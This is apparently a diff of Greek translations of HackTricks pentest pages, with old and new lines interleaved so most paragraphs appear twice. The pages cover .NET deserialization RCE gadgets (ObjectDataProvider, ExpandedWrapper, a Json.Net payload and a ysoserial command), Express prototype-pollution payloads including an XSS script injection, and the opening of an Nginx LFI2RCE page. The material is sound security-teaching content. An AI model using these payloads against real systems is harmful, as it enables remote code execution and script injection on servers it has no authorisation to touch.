Σημειώστε ότι στο τέλος του κώδικα καλεί το `this.QueryWorke(null)`. Ας δούμε τι εκτελεί αυτό:
![](<../../.gitbook/assets/image (302) (1).png>)
![](<../../.gitbook/assets/image (596).png>)
Παρατηρήστε ότι αυτός δεν είναι ο πλήρης κώδικας της συνάρτησης `QueryWorker` αλλά δείχνει το ενδιαφέρον μέρος του: Ο κώδικας καλεί την `this.InvokeMethodOnInstance(out ex);` αυτή είναι η γραμμή όπου καλείται η ορισμένη μέθοδος.
Σημειώστε ότι αυτό δεν είναι ο πλήρης κώδικας της συνάρτησης `QueryWorker`, αλλά δείχνει το ενδιαφέρον μέρος της: Ο κώδικας **καλεί `this.InvokeMethodOnInstance(out ex);`** αυτή είναι η γραμμή όπου **καλείται η μέθοδος**.
Αν θέλετε να ελέγξετε ότι απλά με τον ορισμό του _**MethodName**_ θα εκτελεστεί, μπορείτε να εκτελέσετε αυτόν τον κώδικα:
Αν θέλετε να ελέγξετε ότι απλά ορίζοντας το _**MethodName**_\*\* θα εκτελείται\*\*, μπορείτε να εκτελέσετε αυτόν τον κώδικα:
```java
using System.Windows.Data;
using System.Diagnostics;
@ -62,16 +65,16 @@ myODP.MethodName = "Start";
}
}
```
Σημείωση ότι πρέπει να προσθέσετε ως αναφορά _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_ για να φορτώσετε το `System.Windows.Data`
Σημειώστε ότι πρέπει να προσθέσετε ως αναφορά _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_ προκειμένου να φορτώσετε `System.Windows.Data`
## ExpandedWrapper
Χρησιμοποιώντας την προηγούμενη εκμετάλλευση, θα υπάρχουν περιπτώσεις όπου το **object** θα αποκωδικοποιηθεί ως μια περίπτωση _**ObjectDataProvider**_ (για παράδειγμα στο DotNetNuke vuln, χρησιμοποιώντας το XmlSerializer, το αντικείμενο αποκωδικοποιήθηκε χρησιμοποιώντας `GetType`). Στη συνέχεια, δεν θα έχουμε **γνώση για τον τύπο του αντικειμένου που είναι τυλιγμένο** στην περίπτωση _ObjectDataProvider_ (`Process` για παράδειγμα). Μπορείτε να βρείτε περισσότερες [πληροφορίες σχετικά με το DotNetNuke vuln εδώ](https://translate.google.com/translate?hl=en\&sl=auto\&tl=en\&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F\&sandbox=1).
Χρησιμοποιώντας την προηγούμενη εκμετάλλευση, θα υπάρχουν περιπτώσεις όπου το **αντικείμενο** θα **αποδοθεί** ως μια _**ObjectDataProvider**_ παρουσία (για παράδειγμα στην ευπάθεια DotNetNuke, χρησιμοποιώντας XmlSerializer, το αντικείμενο αποδόθηκε χρησιμοποιώντας `GetType`). Στη συνέχεια, θα έχουμε **καμία γνώση του τύπου του αντικειμένου που είναι περιτυλιγμένο** στην _ObjectDataProvider_ παρουσία (`Process` για παράδειγμα). Μπορείτε να βρείτε περισσότερες [πληροφορίες σχετικά με την ευπάθεια DotNetNuke εδώ](https://translate.google.com/translate?hl=en\&sl=auto\&tl=en\&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F\&sandbox=1).
Αυτή η κλάση επιτρέπει να **καθορίσουμε τους τύπους αντικειμένων που είναι ενθυλακωμένα** σε μια δεδομένη περίπτωση. Έτσι, αυτή η κλάση μπορεί να χρησιμοποιηθεί για να ενθυλακώσει ένα αντικείμενο πηγής (_ObjectDataProvider_) σε έναν νέο τύπο αντικειμένου και να παρέχει τις ιδιότητες που χρειαζόμαστε (_ObjectDataProvider.MethodName_ και _ObjectDataProvider.MethodParameters_).\
Αυτό είναι πολύ χρήσιμο για περιπτώσεις όπως αυτή που παρουσιάστηκε προηγουμένως, επειδή θα είμαστε σε θέση να **τυλίξουμε το \_ObjectDataProvider**_\*\* μέσα σε μια περίπτωση \*\*_**ExpandedWrapper** \_ και **όταν αποκωδικοποιηθεί** αυτή η κλάση θα **δημιουργήσει** το αντικείμενο _**OjectDataProvider**_ που θα **εκτελέσει** τη **συνάρτηση** που υποδεικνύεται στο _**MethodName**_.
Αυτή η κλάση επιτρέπει να **καθορίσετε τους τύπους αντικειμένων των αντικειμένων που είναι ενσωματωμένα** σε μια δεδομένη παρουσία. Έτσι, αυτή η κλάση μπορεί να χρησιμοποιηθεί για να ενσωματώσει ένα αντικείμενο πηγής (_ObjectDataProvider_) σε έναν νέο τύπο αντικειμένου και να παρέχει τις ιδιότητες που χρειαζόμαστε (_ObjectDataProvider.MethodName_ και _ObjectDataProvider.MethodParameters_).\
Αυτό είναι πολύ χρήσιμο για περιπτώσεις όπως αυτή που παρουσιάστηκε προηγουμένως, επειδή θα είμαστε σε θέση να **τυλίξουμε \_ObjectDataProvider**_\*\* μέσα σε μια \*\*_**ExpandedWrapper** \_ παρουσία και **όταν αποδοθεί** αυτή η κλάση θα **δημιουργήσει** το _**OjectDataProvider**_ αντικείμενο που θα **εκτελέσει** τη **λειτουργία** που υποδεικνύεται στο _**MethodName**_.
Μπορείτε να ελέγξετε αυτό το wrapper με τον παρακάτω κώδικα:
Μπορείτε να ελέγξετε αυτόν τον περιτυλιγμένο με τον ακόλουθο κώδικα:
```java
using System.Windows.Data;
using System.Diagnostics;
@ -95,11 +98,11 @@ myExpWrap.ProjectedProperty0.MethodName = "Start";
```
## Json.Net
Στην [επίσημη ιστοσελίδα](https://www.newtonsoft.com/json) αναφέρεται ότι αυτή η βιβλιοθήκη επιτρέπει την **Σειριοποίηση και αποσειριοποίηση οποιουδήποτε αντικειμένου .NET με τον ισχυρό JSON serializer του Json.NET**. Έτσι, αν μπορούσαμε να **αποσειριοποιήσουμε το gadget ObjectDataProvider**, θα μπορούσαμε να προκαλέσουμε μια **RCE** απλά αποσειριοποιώντας ένα αντικείμενο.
Στη [επίσημη ιστοσελίδα](https://www.newtonsoft.com/json) αναφέρεται ότι αυτή η βιβλιοθήκη επιτρέπει να **Σειριοποιήσετε και αποσειριοποιήσετε οποιοδήποτε .NET αντικείμενο με τον ισχυρό σειριοποιητή JSON του Json.NET**. Έτσι, αν μπορούσαμε να **αποσειριοποιήσουμε το gadget ObjectDataProvider**, θα μπορούσαμε να προκαλέσουμε μια **RCE** απλά αποσειριοποιώντας ένα αντικείμενο.
### Παράδειγμα Json.Net
Πρώτα απ' όλα ας δούμε ένα παράδειγμα για το πώς να **σειριοποιήσουμε/αποσειριοποιήσουμε** ένα αντικείμενο χρησιμοποιώντας αυτήν τη βιβλιοθήκη:
Πρώτα απ' όλα, ας δούμε ένα παράδειγμα για το πώς να **σειριοποιήσετε/αποσειριοποιήσετε** ένα αντικείμενο χρησιμοποιώντας αυτή τη βιβλιοθήκη:
```java
using System;
using Newtonsoft.Json;
@ -157,7 +160,7 @@ ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}
```
Σε αυτόν τον κώδικα μπορείτε να **δοκιμάσετε την εκμετάλλευση**, απλά τρέξτε τον και θα δείτε ότι εκτελείται ο Υπολογιστής Προσαρμοσμένης Εφαρμογής:
Σε αυτόν τον κώδικα μπορείτε να **δοκιμάσετε την εκμετάλλευση**, απλώς εκτελέστε τον και θα δείτε ότι εκτελείται μια αριθμομηχανή:
```java
using System;
using System.Text;
@ -194,14 +197,17 @@ TypeNameHandling = TypeNameHandling.Auto
}
}
```
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστήριξη HackTricks</summary>
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks**; Ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΠΑΚΕΤΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Συμμετάσχετε** στην [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στο [αποθετήριο hacktricks](https://github.com/carlospolop/hacktricks) και [αποθετήριο hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,40 +1,41 @@
# Εργαλεία Πρωτοτύπου Ρύπανσης Στο Express
# Express Prototype Pollution Gadgets
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Ερυθρού Συνεργείου AWS του HackTricks)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
### [WhiteIntel](https://whiteintel.io)
<figure><img src="/.gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) είναι μια μηχανή αναζήτησης που τροφοδοτείται από το **dark web** και προσφέρει **δωρεάν** λειτουργίες για να ελέγξετε αν μια εταιρεία ή οι πελάτες της έχουν **διαρρεύσει** από **κλέφτες κακόβουλου λογισμικού**.
[**WhiteIntel**](https://whiteintel.io) είναι μια μηχανή αναζήτησης που τροφοδοτείται από το **dark-web** και προσφέρει **δωρεάν** λειτουργίες για να ελέγξει αν μια εταιρεία ή οι πελάτες της έχουν **παραβιαστεί** από **stealer malwares**.
Ο κύριος στόχος του WhiteIntel είναι η καταπολέμηση των αναλήψεων λογαριασμών και των επιθέσεων ransomware που προκύπτουν από κακόβουλο λογισμικό που κλέβει πληροφορίες.
Ο κύριος στόχος του WhiteIntel είναι να καταπολεμήσει τις καταλήψεις λογαριασμών και τις επιθέσεις ransomware που προκύπτουν από κακόβουλο λογισμικό που κλέβει πληροφορίες.
Μπορείτε να ελέγξετε τον ιστότοπό τους και να δοκιμάσετε τη μηχανή τους δωρεάν στο:
Μπορείτε να ελέγξετε την ιστοσελίδα τους και να δοκιμάσετε τη μηχανή τους **δωρεάν** στο:
{% embed url="https://whiteintel.io" %}
---
***
## Εξυπηρέτηση απαντήσεων XSS
## Serve XSS responses
**Για περισσότερες λεπτομέρειες [ανατρέξτε στην αρχική έρευνα](https://portswigger.net/research/server-side-prototype-pollution)**
**Για περισσότερες λεπτομέρειες** [**ρίξτε μια ματιά στην αρχική έρευνα**](https://portswigger.net/research/server-side-prototype-pollution)
### Αλλαγή του τύπου περιεχομένου JSON σε HTML
### Change JSON content-type to HTML
Σε μια εφαρμογή Express που χρησιμοποιεί μια **απάντηση τύπου περιεχομένου JSON** και αντανακλά ένα JSON:
Σε μια εφαρμογή Express που χρησιμοποιεί **JSON content type response** και ανακλά ένα JSON:
```javascript
app.use(bodyParser.json({type: 'application/json'}));
app.post('/', function(req, res){
@ -42,41 +43,41 @@ _.merge({}, req.body);
res.send(req.body);
});
```
Σε αυτές τις περιπτώσεις το XSS συνήθως δεν είναι δυνατό με έναν τύπο περιεχομένου JSON. Ωστόσο, με τη χρήση της πρωτοτύπου μόλυνσης μπορούμε **να μπερδέψουμε το Express ώστε να εξυπηρετήσει μια απάντηση HTML.** Αυτή η ευπάθεια βασίζεται στην εφαρμογή που χρησιμοποιεί **`res.send(obj)`** και χρησιμοποιεί τον body parser με τον τύπο περιεχομένου application/json.
Σε αυτές τις περιπτώσεις, το XSS δεν είναι κανονικά δυνατό με τύπο περιεχομένου JSON. Ωστόσο, με την μόλυνση πρωτοτύπου μπορούμε να **μπερδέψουμε το Express ώστε να εξυπηρετήσει μια HTML απάντηση.** Αυτή η ευπάθεια βασίζεται στη χρήση του **`res.send(obj)`** από την εφαρμογή και στη χρήση του body parser με τον τύπο περιεχομένου application/json.
```json
{"__proto__":{"_body":true,"body":"<script>evil()"}}
```
Με το **`ρύπανση`** των ιδιοτήτων **`body`** και **`_body`**, είναι δυνατόν να προκαλέσετε το **Express να παρέχει τον τύπο περιεχομένου HTML** και να αντανακλά την ιδιότητα `_body`, με αποτέλεσμα την αποθηκευμένη XSS.
Με την **ρύπανση** των ιδιοτήτων **`body`** και **`_body`**, είναι δυνατόν να προκαλέσετε **την Express να σερβίρει τον τύπο περιεχομένου HTML** και να ανακλά την ιδιότητα `_body`, με αποτέλεσμα αποθηκευμένο XSS.
### Απεικόνιση UTF7
### Απόδοση UTF7
Είναι δυνατόν να κάνετε το express **να απεικονίζει περιεχόμενο UTF-7 με**:
Είναι δυνατόν να κάνετε την express **να αποδώσει περιεχόμενο UTF-7 με**:
```json
{"__proto__":{"content-type": "application/json; charset=utf-7"}}
```
## Ασφαλείς Τεχνικές Σάρωσης
## Safe Scanning Techinques
### Χώροι JSON
### JSON spaces
Το ακόλουθο PP θα κάνει τα γνωρίσματα μέσα σε ένα JSON να έχουν ένα επιπλέον κενό το οποίο δεν θα διακόψει τη λειτουργικότητα:
Η παρακάτω PP θα προσθέσει ένα επιπλέον κενό σε χαρακτηριστικά μέσα σε ένα JSON που δεν θα σπάσει τη λειτουργικότητα:
```json
{"__proto__":{"json spaces": " "}}
```
Τότε ένα αντικατοπτρισμένο JSON θα μοιάζει με:
Τότε ένα αντανάκλαση JSON θα φαίνεται έτσι:
```json
{"foo": "bar"} -- Note the extra space
```
### Εκτεθειμένες Κεφαλίδες
### Exposed Headers
Το παρακάτω PP gadget θα κάνει τον διακομιστή να στείλει πίσω την HTTP κεφαλίδα: **`Access-Control-Expose_headers: foo`**
Ο παρακάτω PP gadget θα κάνει τον διακομιστή να στείλει πίσω την HTTP κεφαλίδα: **`Access-Control-Expose_headers: foo`**
```json
{"__proto__":{"exposedHeaders":["foo"]}}
```
Απαιτείται η εγκατάσταση του **ενός εξωτερικού προσθέτου CORS**
Απαιτείται η **εγκατάσταση του CORS module**
### **Μέθοδος OPTIONS**
Με το παρακάτω φορτίο, είναι δυνατόν να **κρύψετε μια μέθοδο από μια απάντηση OPTIONS**:
Με το παρακάτω payload, είναι δυνατόν να **κρυφτεί μια μέθοδος από μια απάντηση OPTIONS**:
```javascript
// Original reponse: POST,GET,HEAD
@ -87,34 +88,34 @@ res.send(req.body);
```
### **Κατάσταση**
Είναι δυνατή η αλλαγή του **κωδικού κατάστασης που επιστρέφεται** χρησιμοποιώντας το ακόλουθο φορτίο PP:
Είναι δυνατόν να αλλάξετε τον **κωδικό κατάστασης που επιστρέφεται** χρησιμοποιώντας το παρακάτω PP payload:
```json
{"__proto__":{"status":510}}
```
### Σφάλμα
Όταν αναθέτετε σε ένα πρωτότυπο ένα πρωτεύοντα τύπο όπως ένα string, παράγει μια λειτουργία **no-op καθώς το πρωτότυπο πρέπει να είναι ένα αντικείμενο**. Εάν προσπαθήσετε να αναθέσετε ένα αντικείμενο πρωτοτύπου στο ίδιο το `Object.prototype`, αυτό θα **εκτοξεύσει μια εξαίρεση**. Μπορούμε να χρησιμοποιήσουμε αυτές τις δύο συμπεριφορές για να **ανιχνεύσουμε εάν η μόλυνση του πρωτοτύπου ήταν επιτυχής**:
Όταν αναθέτετε σε ένα πρωτότυπο με μια πρωτογενή τιμή όπως μια συμβολοσειρά, παράγει μια **λειτουργία no-op καθώς το πρωτότυπο πρέπει να είναι ένα αντικείμενο**. Εάν προσπαθήσετε να αναθέσετε ένα αντικείμενο πρωτοτύπου στο `Object.prototype` αυτό θα **ρίξει μια εξαίρεση**. Μπορούμε να χρησιμοποιήσουμε αυτές τις δύο συμπεριφορές για να **ανιχνεύσουμε αν η ρύπανση του πρωτοτύπου ήταν επιτυχής**:
```javascript
({}).__proto__.__proto__={}//throws type exception
({}).__proto__.__proto__="x"//no-op does not throw exception
```
### Ανακλισμένη Τιμή
### Reflected Value
Όταν μια εφαρμογή περιλαμβάνει ένα αντικείμενο στην απάντησή της, δημιουργώντας ένα γνώριμο όνομα μαζί με `__proto__` μπορεί να είναι ενδιαφέρον. Συγκεκριμένα, αν **επιστρέφεται μόνο το ασυνήθιστο γνώριμο χαρακτηριστικό** στην απάντηση, αυτό θα μπορούσε να υποδεικνύει την ευπάθεια της εφαρμογής:
Όταν μια εφαρμογή περιλαμβάνει ένα αντικείμενο στην απάντησή της, η δημιουργία ενός χαρακτηριστικού με **ασυνήθιστο όνομα μαζί με το `__proto__`** μπορεί να είναι διαφωτιστική. Συγκεκριμένα, αν **μόνο το ασυνήθιστο χαρακτηριστικό επιστρέφεται** στην απάντηση, αυτό θα μπορούσε να υποδηλώνει την ευπάθεια της εφαρμογής:
```json
{"unusualName":"value","__proto__":"test"}
```
Επιπλέον, σε περιπτώσεις όπου χρησιμοποιείται μια βιβλιοθήκη όπως το Lodash, η ρύθμιση μιας ιδιότητας τόσο μέσω της μόλυνσης πρωτοτύπου (PP) όσο και απευθείας μέσα στο αντικείμενο προσφέρει μια άλλη διαγνωστική προσέγγιση. Αν μια τέτοια ιδιότητα παραλείπεται από την απόκριση, υποδηλώνει ότι το Lodash επαληθεύει την ύπαρξη της ιδιότητας στον στόχο αντικείμενο πριν τη συγχώνευση:
Επιπλέον, σε σενάρια όπου χρησιμοποιείται μια βιβλιοθήκη όπως το Lodash, η ρύθμιση μιας ιδιότητας τόσο μέσω της ρύθμισης πρωτοτύπου (PP) όσο και άμεσα μέσα στο αντικείμενο προσφέρει μια άλλη διαγνωστική προσέγγιση. Εάν μια τέτοια ιδιότητα παραλειφθεί από την απόκριση, υποδηλώνει ότι το Lodash επαληθεύει την ύπαρξη της ιδιότητας στο στοχευόμενο αντικείμενο πριν από τη συγχώνευση:
```javascript
{"__proto__":{"a":"value1"},"a":"value2","b":"value3"}
// If 'b' is the only property reflected, this indicates prototype pollution in Lodash
```
## Διάφορα
## Misc
### Επιτρέψτε τα Τελεία
### Allow Dots
Υπάρχει μια επιλογή στο Express που σας επιτρέπει να **δημιουργήσετε αντικείμενα από τις παραμέτρους της συμβολοσειράς ερωτήματος**.\
Σίγουρα θα μπορούσατε να το χρησιμοποιήσετε σε μια αλυσίδα σφαλμάτων για να εκμεταλλευτείτε μια **ευπάθεια προς προσβολή του πρωτοτύπου**.
Υπάρχει μια επιλογή στο Express που σας επιτρέπει να **δημιουργείτε αντικείμενα από παραμέτρους συμβολοσειράς ερωτήματος**.\
Μπορείτε σίγουρα να το χρησιμοποιήσετε σε μια **αλυσίδα** σφαλμάτων για να εκμεταλλευτείτε μια **ευπάθεια μόλυνσης πρωτοτύπου**.
```json
{"__proto__":{"allowDots":true}}
```
@ -124,29 +125,29 @@ res.send(req.body);
* [https://portswigger.net/research/server-side-prototype-pollution](https://portswigger.net/research/server-side-prototype-pollution)
### [WhiteIntel](https://whiteintel.io)
<figure><img src="/.gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) είναι μια μηχανή αναζήτησης που τροφοδοτείται από το **dark web** και προσφέρει δωρεάν λειτουργίες για να ελέγξετε αν μια εταιρεία ή οι πελάτες της έχουν **διαρρεύσει** από **κλέφτες κακόβουλων λογισμικών**.
[**WhiteIntel**](https://whiteintel.io) είναι μια μηχανή αναζήτησης που τροφοδοτείται από το **dark-web** και προσφέρει **δωρεάν** λειτουργίες για να ελέγξετε αν μια εταιρεία ή οι πελάτες της έχουν **παραβιαστεί** από **stealer malwares**.
Ο κύριος στόχος του WhiteIntel είναι η καταπολέμηση των αναλήψεων λογαριασμών και των επιθέσεων ransomware που προκύπτουν από κακόβουλο λογισμικό που κλέβει πληροφορίες.
Ο κύριος στόχος του WhiteIntel είναι να καταπολεμήσει τις καταλήψεις λογαριασμών και τις επιθέσεις ransomware που προκύπτουν από κακόβουλο λογισμικό που κλέβει πληροφορίες.
Μπορείτε να ελέγξετε τον ιστότοπό τους και να δοκιμάσετε τη μηχανή τους δωρεάν στο:
Μπορείτε να ελέγξετε την ιστοσελίδα τους και να δοκιμάσετε τη μηχανή τους **δωρεάν** στο:
{% embed url="https://whiteintel.io" %}
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστήριξη HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,28 +1,29 @@
# LFI2RCE μέσω αρχείων προσωρινής αποθήκευσης Nginx
# LFI2RCE μέσω αρχείων temp Nginx
{% hint style="success" %}
Μάθε & εξάσκησε το AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθε & εξάσκησε το GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστήριξε το HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του GitHub.
* Έλεγξε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Συμμετοχή στο** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) ή στο [**telegram group**](https://t.me/peass) ή **ακολούθησέ** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιράσου κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) είναι μια μηχανή αναζήτησης που τροφοδοτείται από το **dark web** και προσφέρει **δωρεάν** λειτουργίες για να ελέγξετε αν μια εταιρεία ή οι πελάτες της έχουν **διαρρεύσει** από **κλέφτες κακόβουλου λογισμικού**.
[**WhiteIntel**](https://whiteintel.io) είναι μια **μηχανή αναζήτησης** που τροφοδοτείται από το **dark-web** και προσφέρει **δωρεάν** λειτουργίες για να ελέγξει αν μια εταιρεία ή οι πελάτες της έχουν **παραβιαστεί** από **stealer malwares**.
